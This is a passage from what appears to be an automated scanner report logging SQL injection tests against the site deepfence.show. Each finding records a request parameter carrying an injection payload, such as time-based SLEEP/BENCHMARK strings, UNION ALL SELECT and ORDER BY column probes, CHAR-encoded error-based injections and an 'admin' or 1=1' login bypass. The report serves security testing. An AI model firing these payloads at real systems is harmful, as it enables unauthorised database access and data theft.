BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1531
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1532
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1533
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1534Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1535
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1536
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1-true
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1537
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1538
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1539
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1540
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' or 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1541
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 8#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1542
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1543
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ``
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1544
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+
CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+
CHAR(107)+CHAR(113)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1545
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
